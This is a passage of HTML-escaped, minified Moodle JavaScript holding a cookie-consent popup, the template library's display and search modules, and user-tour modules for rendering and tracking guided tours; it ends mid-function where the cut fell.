expires=&quot;expires=&quot;+d.toGMTString();document.cookie=_self.vars.COOKIE_NAME+&quot;=&quot;+consent+&quot;; &quot;+expires+&quot;;path=/&quot;,$(document).trigger(&quot;user_cookie_consent_changed&quot;,{consent:consent})},hideContainer=function(){$(&quot;.eupopup-container&quot;).animate({opacity:0,height:0},200,(function(){$(&quot;.eupopup-container&quot;).hide(0)}))};return{init:function(settings){!function(object,markup,settings){if(object){var className=$(object).attr(&quot;class&quot;)?$(object).attr(&quot;class&quot;):&quot;&quot;;className.indexOf(&quot;eupopup-top&quot;)&gt;-1?_self.params.popupPosition=&quot;top&quot;:className.indexOf(&quot;eupopup-fixedtop&quot;)&gt;-1?_self.params.popupPosition=&quot;fixedtop&quot;:className.indexOf(&quot;eupopup-bottomright&quot;)&gt;-1?_self.params.popupPosition=&quot;bottomright&quot;:className.indexOf(&quot;eupopup-bottomleft&quot;)&gt;-1?_self.params.popupPosition=&quot;bottomleft&quot;:className.indexOf(&quot;eupopup-bottom&quot;)&gt;-1?_self.params.popupPosition=&quot;bottom&quot;:className.indexOf(&quot;eupopup-block&quot;)&gt;-1&amp;&amp;(_self.params.popupPosition=&quot;block&quot;),className.indexOf(&quot;eupopup-color-default&quot;)&gt;-1?_self.params.colorStyle=&quot;default&quot;:className.indexOf(&quot;eupopup-color-inverse&quot;)&gt;-1&amp;&amp;(_self.params.colorStyle=&quot;inverse&quot;),className.indexOf(&quot;eupopup-style-compact&quot;)&gt;-1&amp;&amp;(_self.params.compactStyle=!0)}markup&amp;&amp;(_self.params.htmlMarkup=markup),settings&amp;&amp;(void 0!==settings.cookiePolicyUrl&amp;&amp;(_self.params.cookiePolicyUrl=settings.cookiePolicyUrl),void 0!==settings.popupPosition&amp;&amp;(_self.params.popupPosition=settings.popupPosition),void 0!==settings.colorStyle&amp;&amp;(_self.params.colorStyle=settings.colorStyle),void 0!==settings.popupTitle&amp;&amp;(_self.params.popupTitle=settings.popupTitle),void 0!==settings.popupText&amp;&amp;(_self.params.popupText=settings.popupText),void 0!==settings.buttonContinueTitle&amp;&amp;(_self.params.buttonContinueTitle=settings.buttonContinueTitle),void 0!==settings.buttonLearnmoreTitle&amp;&amp;(_self.params.buttonLearnmoreTitle=settings.buttonLearnmoreTitle),void 0!==settings.buttonLearnmoreOpenInNewWindow&amp;&amp;(_self.params.buttonLearnmoreOpenInNewWindow=settings.buttonLearnmoreOpenInNewWindow),void 0!==settings.agreementExpiresInDays&amp;&amp;(_self.params.agreementExpiresInDays=settings.agreementExpiresInDays),void 0!==settings.autoAcceptCookiePolicy&amp;&amp;(_self.params.autoAcceptCookiePolicy=settings.autoAcceptCookiePolicy),void 0!==settings.htmlMarkup&amp;&amp;(_self.params.htmlMarkup=settings.htmlMarkup))}($(&quot;.eupopup&quot;).first(),$(&quot;.eupopup-markup&quot;).html(),settings),function(){for(var userAcceptedCookies=!1,cookies=document.cookie.split(&quot;;&quot;),i=0;i&lt;cookies.length;i++){var c=cookies[i].trim();-1!==c.indexOf(_self.vars.COOKIE_NAME)&amp;&amp;(userAcceptedCookies=c.substring(_self.vars.COOKIE_NAME.length+1,c.length))}return userAcceptedCookies}()?$(document).trigger(&quot;user_cookie_already_accepted&quot;,{consent:!0}):_self.vars.INITIALISED||(_self.vars.INITIALISED=!0,_self.vars.HTML_MARKUP=_self.params.htmlMarkup?_self.params.htmlMarkup:&#039;&lt;div class=&quot;eupopup-container eupopup-container-&#039;+_self.params.popupPosition+(_self.params.compactStyle?&quot; eupopup-style-compact&quot;:&quot;&quot;)+&quot; eupopup-color-&quot;+_self.params.colorStyle+&#039;&quot;&gt;&lt;div class=&quot;eupopup-head&quot;&gt;&#039;+_self.params.popupTitle+&#039;&lt;/div&gt;&lt;div class=&quot;eupopup-body&quot;&gt;&#039;+_self.params.popupText+&#039;&lt;/div&gt;&lt;div class=&quot;eupopup-buttons&quot;&gt;&lt;a href=&quot;#&quot; class=&quot;eupopup-button eupopup-button_1&quot;&gt;&#039;+_self.params.buttonContinueTitle+&#039;&lt;/a&gt;&lt;a href=&quot;&#039;+_self.params.cookiePolicyUrl+&#039;&quot;&#039;+(_self.params.buttonLearnmoreOpenInNewWindow?&quot; target=_blank &quot;:&quot;&quot;)+&#039; class=&quot;eupopup-button eupopup-button_2&quot;&gt;&#039;+_self.params.buttonLearnmoreTitle+&#039;&lt;/a&gt;&lt;div class=&quot;clearfix&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;a href=&quot;#&quot; class=&quot;eupopup-closebutton&quot;&gt;x&lt;/a&gt;&lt;/div&gt;&#039;,$(&quot;.eupopup-block&quot;).length&gt;0?$(&quot;.eupopup-block&quot;).append(_self.vars.HTML_MARKUP):$(&quot;BODY&quot;).append(_self.vars.HTML_MARKUP),$(&quot;.eupopup-button_1&quot;).click((function(){return setUserAcceptsCookies(!0),hideContainer(),!1})),$(&quot;.eupopup-closebutton&quot;).click((function(){return setUserAcceptsCookies(!0),hideContainer(),!1})),$(&quot;.eupopup-container&quot;).show(),_self.params.autoAcceptCookiePolicy&amp;&amp;setUserAcceptsCookies(!0))}}}}));
/**
 * This module adds ajax display functions to the template library page.
 *
 * @module     tool_templatelibrary/display
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_templatelibrary/display&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/log&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/config&quot;,&quot;core/str&quot;],(function($,ajax,log,notification,templates,config,str){var findDocsSection=function(templateSource,templateName){if(!templateSource)return!1;var sections,marker=&quot;@template &quot;+templateName,i=0;if(null!==(sections=templateSource.match(/{{!([\s\S]*?)}}/g)))for(i=0;i&lt;sections.length;i++){var section=sections[i],start=section.indexOf(marker);if(-1!==start){var offset=start+marker.length+1;return section=section.substr(offset,section.length-2-offset)}}return!1},loadTemplate=function(templateName){var parts=templateName.split(&quot;/&quot;),component=parts.shift(),name=parts.join(&quot;/&quot;),promises=ajax.call([{methodname:&quot;core_output_load_template&quot;,args:{component:component,template:name,themename:config.theme,includecomments:!0}},{methodname:&quot;tool_templatelibrary_load_canonical_template&quot;,args:{component:component,template:name}}],!0,!1);$.when.apply($,promises).done((function(source,originalSource){!function(templateName,source,originalSource){str.get_string(&quot;templateselected&quot;,&quot;tool_templatelibrary&quot;,templateName).done((function(s){$(&#039;[data-region=&quot;displaytemplateheader&quot;]&#039;).text(s)})).fail(notification.exception);var docs=findDocsSection(source,templateName);!1===docs&amp;&amp;(docs=findDocsSection(originalSource,templateName)),docs&amp;&amp;(source=docs),$(&#039;[data-region=&quot;displaytemplatesource&quot;]&#039;).text(source);var example=source.match(/Example context \(json\):([\s\S]*)/),context=!1;if(example){var rawJSON=example[1].trim();try{context=$.parseJSON(rawJSON)}catch(e){log.debug(&quot;Could not parse json example context for template.&quot;),log.debug(e)}}context?templates.render(templateName,context).done((function(html,js){templates.replaceNodeContents($(&#039;[data-region=&quot;displaytemplateexample&quot;]&#039;),html,js)})).fail(notification.exception):str.get_string(&quot;templatehasnoexample&quot;,&quot;tool_templatelibrary&quot;).done((function(s){$(&#039;[data-region=&quot;displaytemplateexample&quot;]&#039;).text(s)})).fail(notification.exception)}(templateName,source,originalSource)})).fail(notification.exception)};return $(&#039;[data-region=&quot;list-templates&quot;]&#039;).on(&quot;click&quot;,&quot;[data-templatename]&quot;,(function(e){var templatename=$(this).data(&quot;templatename&quot;);e.preventDefault(),loadTemplate(templatename)})),{}}));
/**
 * This module adds ajax search functions to the template library page.
 *
 * @module     tool_templatelibrary/search
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_templatelibrary/search&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/log&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/config&quot;],(function($,ajax,log,notification,templates,config){var reloadListTemplate=function(templateList){templates.render(&quot;tool_templatelibrary/search_results&quot;,{templates:templateList}).done((function(result,js){templates.replaceNode($(&#039;[data-region=&quot;searchresults&quot;]&#039;),result,js)})).fail(notification.exception)},refreshSearch=function(themename){var componentStr=$(&#039;[data-field=&quot;component&quot;]&#039;).val(),searchStr=$(&#039;[data-region=&quot;list-templates&quot;] [data-region=&quot;input&quot;]&#039;).val();&quot;&quot;!==searchStr?$(&#039;[data-region=&quot;list-templates&quot;] [data-action=&quot;clearsearch&quot;]&#039;).removeClass(&quot;d-none&quot;):$(&#039;[data-region=&quot;list-templates&quot;] [data-action=&quot;clearsearch&quot;]&#039;).addClass(&quot;d-none&quot;),ajax.call([{methodname:&quot;tool_templatelibrary_list_templates&quot;,args:{component:componentStr,search:searchStr,themename:themename},done:reloadListTemplate,fail:notification.exception}],!0,!1)},throttle=null,changeHandler=function(){var callback,delay;callback=refreshSearch.bind(this,config.theme),delay=400,null!==throttle&amp;&amp;window.clearTimeout(throttle),throttle=window.setTimeout((function(){callback(),throttle=null}),delay)};return $(&#039;[data-region=&quot;list-templates&quot;]&#039;).on(&quot;change&quot;,&#039;[data-field=&quot;component&quot;]&#039;,changeHandler),$(&#039;[data-region=&quot;list-templates&quot;]&#039;).on(&quot;input&quot;,&#039;[data-region=&quot;input&quot;]&#039;,changeHandler),$(&#039;[data-action=&quot;clearsearch&quot;]&#039;).on(&quot;click&quot;,(function(){$(&#039;[data-region=&quot;input&quot;]&#039;).val(&quot;&quot;),refreshSearch(config.theme),$(this).addClass(&quot;d-none&quot;)})),refreshSearch(config.theme),{}}));
define(&quot;tool_usertours/filter_cssselector&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.filterMatches=void 0;_exports.filterMatches=function(tourConfig){let filterValues=tourConfig.filtervalues.cssselector;return!filterValues[0]||!!document.querySelector(filterValues[0])}}));
define(&quot;tool_usertours/usertours&quot;,[&quot;exports&quot;,&quot;./tour&quot;,&quot;core/templates&quot;,&quot;core/log&quot;,&quot;core/notification&quot;,&quot;./repository&quot;,&quot;core/pending&quot;,&quot;./events&quot;],(function(_exports,_tour,_templates,_log,_notification,tourRepository,_pending,_events){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.resetTourState=_exports.init=void 0,_tour=_interopRequireDefault(_tour),_templates=_interopRequireDefault(_templates),_log=_interopRequireDefault(_log),_notification=_interopRequireDefault(_notification),tourRepository=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(tourRepository),_pending=_interopRequireDefault(_pending);var _systemImportTransformerGlobalIdentifier=&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof self?self:&quot;undefined&quot;!=typeof global?global:{};function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}let currentTour=null,tourId=null;_exports.init=async(tourDetails,filters)=&gt;{const requirements=[];filters.forEach((filter=&gt;{requirements.push(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;tool_usertours/filter_&quot;.concat(filter)],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;tool_usertours/filter_&quot;.concat(filter))):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;tool_usertours/filter_&quot;.concat(filter)]))}));const matchingTour=((tourDetails,filters)=&gt;tourDetails.find((tour=&gt;filters.some((filter=&gt;!filter||!filter.filterMatches||filter.filterMatches(tour))))))(tourDetails,await Promise.all(requirements));if(!matchingTour)return;tourId=matchingTour.tourId;let startTour=matchingTour.startTour;void 0===startTour&amp;&amp;(startTour=!0),startTour&amp;&amp;fetchTour(tourId),addResetLink(),document.querySelector(&quot;body&quot;).addEventListener(&quot;click&quot;,(e=&gt;{e.target.closest(&quot;#resetpagetour&quot;)&amp;&amp;(e.preventDefault(),resetTourState(tourId))}))};const fetchTour=async tourId=&gt;{const pendingPromise=new _pending.default(&quot;admin_usertour_fetchTour:&quot;.concat(tourId));try{const response=await tourRepository.fetchTour(tourId);if(response.hasOwnProperty(&quot;tourconfig&quot;)){const{html:html}=await _templates.default.renderForPromise(&quot;tool_usertours/tourstep&quot;,response.tourconfig);startBootstrapTour(tourId,html,response.tourconfig)}pendingPromise.resolve()}catch(error){pendingPromise.resolve(),_notification.default.exception(error)}},addResetLink=()=&gt;{const pendingPromise=new _pending.default(&quot;admin_usertour_addResetLink&quot;);_templates.default.render(&quot;tool_usertours/resettour&quot;,{}).then((function(html,js){_templates.default.appendNodeContents((()=&gt;{let location=document.querySelector(&quot;.tool_usertours-resettourcontainer&quot;);return location||(location=document.querySelector(&quot;.logininfo&quot;),location||(location=document.querySelector(&quot;footer&quot;),location||document.body))})(),html,js)})).catch().then(pendingPromise.resolve).catch()},startBootstrapTour=(tourId,template,tourConfig)=&gt;(currentTour&amp;&amp;currentTour.tourRunning&amp;&amp;(currentTour.endTour(),currentTour=null),document.addEventListener(_events.eventTypes.tourEnded,markTourComplete),document.addEventListener(_events.eventTypes.stepRenderer,markStepShown),tourConfig.tourName=tourConfig.name,delete tourConfig.name,tourConfig.template=template,tourConfig.steps=tourConfig.steps.map((function(step){return void 0!==step.element&amp;&amp;(step.target=step.element,delete step.element),void 0!==step.reflex&amp;&amp;(step.moveOnClick=!!step.reflex,delete step.reflex),void 0!==step.content&amp;&amp;(step.body=step.content,delete step.content),step})),currentTour=new _tour.default(tourConfig),currentTour.startTour()),markStepShown=e=&gt;{const tour=e.detail.tour,stepConfig=tour.getStepConfig(tour.getCurrentStepNumber());tourRepository.markStepShown(stepConfig.stepid,tourId,tour.getCurrentStepNumber()).catch(_log.default.error)},markTourComplete=e=&gt;{document.removeEventListener(_events.eventTypes.tourEnded,markTourComplete),document.removeEventListener(_events.eventTypes.stepRenderer,markStepShown);const tour=e.detail.tour,stepConfig=tour.getStepConfig(tour.getCurrentStepNumber());tourRepository.markTourComplete(stepConfig.stepid,tourId,tour.getCurrentStepNumber()).catch(_log.default.error)},resetTourState=tourId=&gt;tourRepository.resetTourState(tourId).then((response=&gt;{response.startTour&amp;&amp;fetchTour(response.startTour)})).catch(_notification.default.exception);_exports.resetTourState=resetTourState}));
define(&quot;tool_usertours/managesteps&quot;,[&quot;exports&quot;,&quot;core/prefetch&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function(_exports,_prefetch,_str,_notification){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.setup=void 0;const removeStepHandler=e=&gt;{const deleteButton=e.target.closest(&#039;[data-action=&quot;delete&quot;]&#039;);deleteButton&amp;&amp;(e.preventDefault(),removeStepFromLink(deleteButton.href))},removeStepFromLink=targetUrl=&gt;{(0,_notification.confirm)((0,_str.get_string)(&quot;confirmstepremovaltitle&quot;,&quot;tool_usertours&quot;),(0,_str.get_string)(&quot;confirmstepremovalquestion&quot;,&quot;tool_usertours&quot;),(0,_str.get_string)(&quot;yes&quot;,&quot;core&quot;),(0,_str.get_string)(&quot;no&quot;,&quot;core&quot;),(()=&gt;{window.location=targetUrl}))};_exports.setup=()=&gt;{(0,_prefetch.prefetchStrings)(&quot;tool_usertours&quot;,[&quot;confirmstepremovaltitle&quot;,&quot;confirmstepremovalquestion&quot;]),(0,_prefetch.prefetchStrings)(&quot;core&quot;,[&quot;yes&quot;,&quot;no&quot;]),document.querySelector(&quot;body&quot;).addEventListener(&quot;click&quot;,removeStepHandler)}}));
define(&quot;tool_usertours/repository&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/config&quot;],(function(_exports,_ajax,_config){var obj;Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.resetTourState=_exports.markTourComplete=_exports.markStepShown=_exports.fetchTour=void 0,_config=(obj=_config)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.resetTourState=tourid=&gt;(0,_ajax.call)([{methodname:&quot;tool_usertours_reset_tour&quot;,args:{tourid:tourid,context:_config.default.contextid,pageurl:window.location.href}}])[0];_exports.markTourComplete=(stepid,tourid,stepindex)=&gt;(0,_ajax.call)([{methodname:&quot;tool_usertours_complete_tour&quot;,args:{stepid:stepid,stepindex:stepindex,tourid:tourid,context:_config.default.contextid,pageurl:window.location.href}}])[0];_exports.fetchTour=tourid=&gt;(0,_ajax.call)([{methodname:&quot;tool_usertours_fetch_and_start_tour&quot;,args:{tourid:tourid,context:_config.default.contextid,pageurl:window.location.href}}])[0];_exports.markStepShown=(stepid,tourid,stepindex)=&gt;(0,_ajax.call)([{methodname:&quot;tool_usertours_step_shown&quot;,args:{tourid:tourid,stepid:stepid,stepindex:stepindex,context:_config.default.contextid,pageurl:window.location.href}}])[0]}));
define(&quot;tool_usertours/events&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.eventTypes=void 0;_exports.eventTypes={stepRender:&quot;tool_usertours/stepRender&quot;,stepRendered:&quot;tool_usertours/stepRendered&quot;,tourStart:&quot;tool_usertours/tourStart&quot;,tourStarted:&quot;tool_usertours/tourStarted&quot;,tourEnd:&quot;tool_usertours/tourEnd&quot;,tourEnded:&quot;tool_usertours/tourEnded&quot;,stepHide:&quot;tool_usertours/stepHide&quot;,stepHidden:&quot;tool_usertours/stepHidden&quot;}}));
define(&quot;tool_usertours/tour&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/aria&quot;,&quot;core/popper&quot;,&quot;core/event_dispatcher&quot;,&quot;./events&quot;,&quot;core/str&quot;,&quot;core/prefetch&quot;],(function(_exports,_jquery,Aria,_popper,_event_dispatcher,_events,_str,_prefetch){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),Aria=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(Aria),_popper=_interopRequireDefault(_popper);var _default=class{constructor(config){var obj,key,value;value=!1,(key=&quot;tourRunning&quot;)in(obj=this)?Object.defineProperty(obj,key,{value:value,enumerable:!0,configurable:!0,writable:!0}):obj[key]=value,this.init(config)}init(config){this.eventHandlers={},this.reset(),this.originalConfiguration=config||{},this.configure.apply(this,arguments);try{this.storage=window.sessionStorage,this.storageKey=&quot;tourstate_&quot;+this.tourName}catch(e){this.storage=!1,this.storageKey=&quot;&quot;}return(0,_prefetch.prefetchStrings)(&quot;tool_usertours&quot;,[&quot;nextstep_sequence&quot;,&quot;skip_tour&quot;]),this}reset(){return this.hide(),this.eventHandlers=[],this.resetStepListeners(),this.originalConfiguration={},this.steps=[],this.currentStepNumber=0,this}configure(config){if(&quot;object&quot;==typeof config){if(void 0!==config.tourName&amp;&amp;(this.tourName=config.tourName),config.eventHandlers)for(let eventName in config.eventHandlers)config.eventHandlers[eventName].forEach((function(handler){this.addEventHandler(eventName,handler)}),this);this.resetStepDefaults(!0),&quot;object&quot;==typeof config.steps&amp;&amp;(this.steps=config.steps),void 0!==config.template&amp;&amp;(this.templateContent=config.template)}return this.checkMinimumRequirements(),this}checkMinimumRequirements(){if(!this.tourName)throw new Error(&quot;Tour Name required&quot;);if(!this.steps||!this.steps.length)throw new Error(&quot;Steps must be specified&quot;)}resetStepDefaults(loadOriginalConfiguration){return void 0===loadOriginalConfiguration&amp;&amp;(loadOriginalConfiguration=!0),this.stepDefaults={},loadOriginalConfiguration&amp;&amp;void 0!==this.originalConfiguration.stepDefaults?this.setStepDefaults(this.originalConfiguration.stepDefaults):this.setStepDefaults({}),this}setStepDefaults(stepDefaults){return this.stepDefaults||(this.stepDefaults={}),_jquery.default.extend(this.stepDefaults,{element:&quot;&quot;,placement:&quot;top&quot;,delay:0,moveOnClick:!1,moveAfterTime:0,orphan:!1,direction:1},stepDefaults),this}getCurrentStepNumber(){return parseInt(this.currentStepNumber,10)}setCurrentStepNumber(stepNumber){if(this.currentStepNumber=stepNumber,this.storage)try{this.storage.setItem(this.storageKey,stepNumber)}catch(e){e.code===DOMException.QUOTA_EXCEEDED_ERR&amp;&amp;this.storage.removeItem(this.storageKey)}}getNextStepNumber(stepNumber){void 0===stepNumber&amp;&amp;(stepNumber=this.getCurrentStepNumber());let nextStepNumber=stepNumber+1;for(;nextStepNumber&lt;=this.steps.length;){if(this.isStepPotentiallyVisible(this.getStepConfig(nextStepNumber)))return nextStepNumber;nextStepNumber++}return null}getPreviousStepNumber(stepNumber){void 0===stepNumber&amp;&amp;(stepNumber=this.getCurrentStepNumber());let previousStepNumber=stepNumber-1;for(;previousStepNumber&gt;=0;){if(this.isStepPotentiallyVisible(this.getStepConfig(previousStepNumber)))return previousStepNumber;previousStepNumber--}return null}isLastStep(stepNumber){return null===this.getNextStepNumber(stepNumber)}isStepPotentiallyVisible(stepConfig){return!!stepConfig&amp;&amp;(!!this.isStepActuallyVisible(stepConfig)||(!(void 0===stepConfig.orphan||!stepConfig.orphan)||!(void 0===stepConfig.delay||!stepConfig.delay)))}getPotentiallyVisibleSteps(){let position=1,result=[];for(let stepNumber=0;stepNumber&lt;this.steps.length;stepNumber++){const stepConfig=this.getStepConfig(stepNumber);this.isStepPotentiallyVisible(stepConfig)&amp;&amp;(result[stepNumber]={stepId:stepConfig.stepid,position:position},position++)}return result}isStepActuallyVisible(stepConfig){if(!stepConfig)return!1;let target=this.getStepTarget(stepConfig);return!!(target&amp;&amp;target.length&amp;&amp;target.is(&quot;:visible&quot;))&amp;&amp;!!target.length}next(){return this.gotoStep(this.getNextStepNumber())}previous(){return this.gotoStep(this.getPreviousStepNumber(),-1)}gotoStep(stepNumber,direction){if(stepNumber&lt;0)return this.endTour();let stepConfig=this.getStepConfig(stepNumber);return null===stepConfig?this.endTour():this._gotoStep(stepConfig,direction)}_gotoStep(stepConfig,direction){if(!stepConfig)return this.endTour();if(void 0!==stepConfig.delay&amp;&amp;stepConfig.delay&amp;&amp;!stepConfig.delayed)return stepConfig.delayed=!0,window.setTimeout(this._gotoStep.bind(this),stepConfig.delay,stepConfig,direction),this;if(!stepConfig.orphan&amp;&amp;!this.isStepActuallyVisible(stepConfig)){let fn=-1==direction?&quot;getPreviousStepNumber&quot;:&quot;getNextStepNumber&quot;;return this.gotoStep(this[fn](stepConfig.stepNumber),direction)}this.hide();return this.dispatchEvent(_events.eventTypes.stepRender,{stepConfig:stepConfig},!0).defaultPrevented||(this.renderStep(stepConfig),this.dispatchEvent(_events.eventTypes.stepRendered,{stepConfig:stepConfig})),this}getStepConfig(stepNumber){if(null===stepNumber||stepNumber&lt;0||stepNumber&gt;=this.steps.length)return null;let stepConfig=this.normalizeStepConfig(this.steps[stepNumber]);return stepConfig=_jquery.default.extend(stepConfig,{stepNumber:stepNumber}),stepConfig}normalizeStepConfig(stepConfig){return void 0!==stepConfig.reflex&amp;&amp;void 0===stepConfig.moveAfterClick&amp;&amp;(stepConfig.moveAfterClick=stepConfig.reflex),void 0!==stepConfig.element&amp;&amp;void 0===stepConfig.target&amp;&amp;(stepConfig.target=stepConfig.element),void 0!==stepConfig.content&amp;&amp;void 0===stepConfig.body&amp;&amp;(stepConfig.body=stepConfig.content),stepConfig=_jquery.default.extend({},this.stepDefaults,stepConfig),(stepConfig=_jquery.default.extend({},{attachTo:stepConfig.target,attachPoint:&quot;after&quot;},stepConfig)).attachTo&amp;&amp;(stepConfig.attachTo=(0,_jquery.default)(stepConfig.attachTo).first()),stepConfig}getStepTarget(stepConfig){return stepConfig.target?(0,_jquery.default)(stepConfig.target):null}dispatchEvent(eventName){let detail=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{},cancelable=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]&amp;&amp;arguments[2];return(0,_event_dispatcher.dispatchEvent)(eventName,{tour:this,...detail},document,{cancelable:cancelable})}addEventHandler(eventName,handler){return void 0===this.eventHandlers[eventName]&amp;&amp;(this.eventHandlers[eventName]=[]),this.eventHandlers[eventName].push(handler),this}processStepListeners(stepConfig){if(this.listeners.push({node:this.currentStepNode,args:[&quot;click&quot;,&#039;[data-role=&quot;next&quot;]&#039;,_jquery.default.proxy(this.next,this)]},{node:this.currentStepNode,args:[&quot;click&quot;,&#039;[data-role=&quot;end&quot;]&#039;,_jquery.default.proxy(this.endTour,this)]},{node:(0,_jquery.default)(&#039;[data-flexitour=&quot;backdrop&quot;]&#039;),args:[&quot;click&quot;,_jquery.default.proxy(this.hide,this)]},{node:(0,_jquery.default)(&quot;body&quot;),args:[&quot;keydown&quot;,_jquery.default.proxy(this.handleKeyDown,this)]}),stepConfig.moveOnClick){var targetNode=this.getStepTarget(stepConfig);this.listeners.push({node:targetNode,args:[&quot;click&quot;,_jquery.default.proxy((function(e){0===(0,_jquery.default)(e.target).parents(&#039;[data-flexitour=&quot;container&quot;]&#039;).length&amp;&amp;window.setTimeout(_jquery.default.proxy(this.next,this),500)}),this)]})}return this.listeners.forEach((function(listener){listener.node.on.apply(listener.node,listener.args)})),this}resetStepListeners(){return this.listeners&amp;&amp;this.listeners.forEach((function(listener){listener.node.off.apply(listener.node,listener.args)})),this.listeners=[],this}renderStep(stepConfig){this.currentStepConfig=stepConfig,this.setCurrentStepNumber(stepConfig.stepNumber);let template=(0,_jquery.default)(this.getTemplateContent());template.find(&#039;[data-placeholder=&quot;title&quot;]&#039;).html(stepConfig.title),template.find(&#039;[data-placeholder=&quot;body&quot;]&#039;).html(stepConfig.body);const nextBtn=template.find(&#039;[data-role=&quot;next&quot;]&#039;),endBtn=template.find(&#039;[data-role=&quot;end&quot;]&#039;);if(this.isLastStep(stepConfig.stepNumber)?(nextBtn.hide(),endBtn.removeClass(&quot;btn-secondary&quot;).addClass(&quot;btn-primary&quot;)):(nextBtn.prop(&quot;disabled&quot;,!1),(0,_str.get_string)(&quot;skip_tour&quot;,&quot;tool_usertours&quot;).then((value=&gt;{endBtn.html(value)})).catch()),nextBtn.attr(&quot;role&quot;,&quot;button&quot;),endBtn.attr(&quot;role&quot;,&quot;button&quot;),this.originalConfiguration.displaystepnumbers){const stepsPotentiallyVisible=this.getPotentiallyVisibleSteps(),totalStepsPotentiallyVisible=stepsPotentiallyVisible.length,position=stepsPotentiallyVisible[stepConfig.stepNumber].position;totalStepsPotentiallyVisible&gt;1&amp;&amp;(0,_str.get_string)(&quot;nextstep_sequence&quot;,&quot;tool_usertours&quot;,{position:position,total:totalStepsPotentiallyVisible}).then((value=&gt;{nextBtn.html(value)})).catch()}return stepConfig.template=template,this.addStepToPage(stepConfig),this.processStepListeners(stepConfig),this}getTemplateContent(){return(0,_jquery.default)(this.templateContent).clone()}addStepToPage(stepConfig){let currentStepNode=(0,_jquery.default)(&#039;&lt;span data-flexitour=&quot;container&quot;&gt;&lt;/span&gt;&#039;).html(stepConfig.template).hide(),animationTarget=(0,_jquery.default)(&quot;body, html&quot;).stop(!0,!0);if(this.isStepActuallyVisible(stepConfig)){let targetNode=this.getStepTarget(stepConfig);targetNode.parents(&#039;[data-usertour=&quot;scroller&quot;]&#039;).length&amp;&amp;(animationTarget=targetNode.parents(&#039;[data-usertour=&quot;scroller&quot;]&#039;)),targetNode.data(&quot;flexitour&quot;,&quot;target&quot;);let 